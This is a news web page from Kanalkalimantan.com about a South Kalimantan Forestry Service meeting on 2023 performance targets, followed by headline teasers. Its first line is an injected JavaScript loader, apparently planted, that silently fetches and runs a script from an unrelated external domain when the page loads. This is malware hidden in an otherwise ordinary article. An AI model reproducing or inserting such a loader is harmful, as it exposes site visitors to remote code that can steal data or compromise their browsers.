(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Dinas Kehutanan Prov Kalsel menggelar rapat internal terkait realisasi kinerja serta upaya percepatan kinerja Dishut Kalsel yang harus diselesaikan di Tahun 2023.
Rapat tersebut dipimpin langsung oleh Kadishut Kalsel, Hj. Fathimatuzzahra dan diikuti para pejabat esselon 3 dan 4 Dishut Kalsel, Bertempat di Aula Rimbawan 1 Dishut Kalsel, Senin (14/8/2023).
Dalam sambutannya Hj. Fathimatuzzahra menyampaikan bahwa untuk tercapainya target-target kegiatan bidang kehutanan yang sudah ditetapkan harus terjalin kerjasama yang solid dalam menjalankannya.
“Saya berharap kita semua, dari Dinas, BPTH,Tahura Sa, dan KPH lingkup Dishut bisa bekerjasama atas target-target yang akan kita capai dan diselesaikan hingga akhir tahun ini.” ujar Aya menekankan.
Dalam rapat ini para pejabat Dishut bergantian menyampaikan realisasi kinerja dan target kegiatannya kepada Kadishut Prov Kalsel. Dengan dilaksakannya rapat realisasi kinerja ini diharapkan dapat lebih mengoptimalkan dan mempercepat kinerja Dishut Kalsel dalam pembangunan kehutanan yang harus diselesaikan di tahun 2023. (Kanalkalimantan.com/al)
KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menemui langsung Menteri Sosial RI Saifullah… Read More
Ketua BEM ULM: Siapapun yang Datang Tidak Akan Menjawab Persoalan-Persoalan di Kalsel Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Kabupaten Kapuas dipastikan menerima bantuan pembangunan Sekolah Rakyat dari pemerintah pusat… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat suntikan pendanaan dari Bank Dunia melalui… Read More
KANALKALIMANTAN.COM, MARTAPURA — Wakil Presiden (Wapres) Republik Indonesia (RI) Gibran Rakabuming Raka meninjau banjir di… Read More
Gubernur Kalimantan Tengah telah menetapkan kenaikan UMP Kalimantan Tengah tahun 2026. Berdasarkan surat resmi yang… Read More
This website uses cookies.